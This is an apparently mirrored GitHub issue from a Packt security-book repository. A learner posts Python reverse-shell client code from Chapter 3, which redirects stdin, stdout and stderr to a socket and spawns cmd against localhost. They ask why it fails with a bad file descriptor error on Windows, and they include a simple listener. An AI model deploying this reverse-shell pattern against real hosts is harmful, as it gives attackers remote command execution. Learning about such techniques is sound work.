Giter Site home page Giter Site logo

packtpublishing / python-for-security-and-networking Goto Github PK

View Code? Open in Web Editor NEW
60.0 5.0 27.0 50.71 MB

Python for Security and Networking, Published by Packt

License: MIT License

Python 15.03% HTML 46.32% Classic ASP 9.24% ASP.NET 0.85% C 0.17% ColdFusion 1.06% Java 11.24% Shell 1.17% PHP 13.00% Perl 1.92%

python-for-security-and-networking's Issues

Chapter 3 reverse_shell_py [Errno 9] Bad file descriptor on line os.dup2(s.fileno(),0)

Running on python3.12, windows 11, AMD64, 64 bits

Keep having [Errno 9] Bad file descriptor.

Below is my code for the client

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("127.0.0.1", 45678))
#if r==0:
s.send(b"Hello")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
shell_remote=subprocess.call(("cmd", "dir"))
proc = subprocess.call(("dir"))
s.close()

I tried the server with two methods:
using netcat-win32-1.12 from https://eternallybored.org/misc/netcat/

AND also writing a simple server.py by myself, as follows:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 45678))
s.listen(5)
print("Listening...")
client, addr = s.accept()
while True:
	request = client.recv(1024).decode()
	print("[+] Received: ", request)
	if request == "quit":
		break
	if len(request) < 1:
		break

s.close()

Something wrong with this example?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.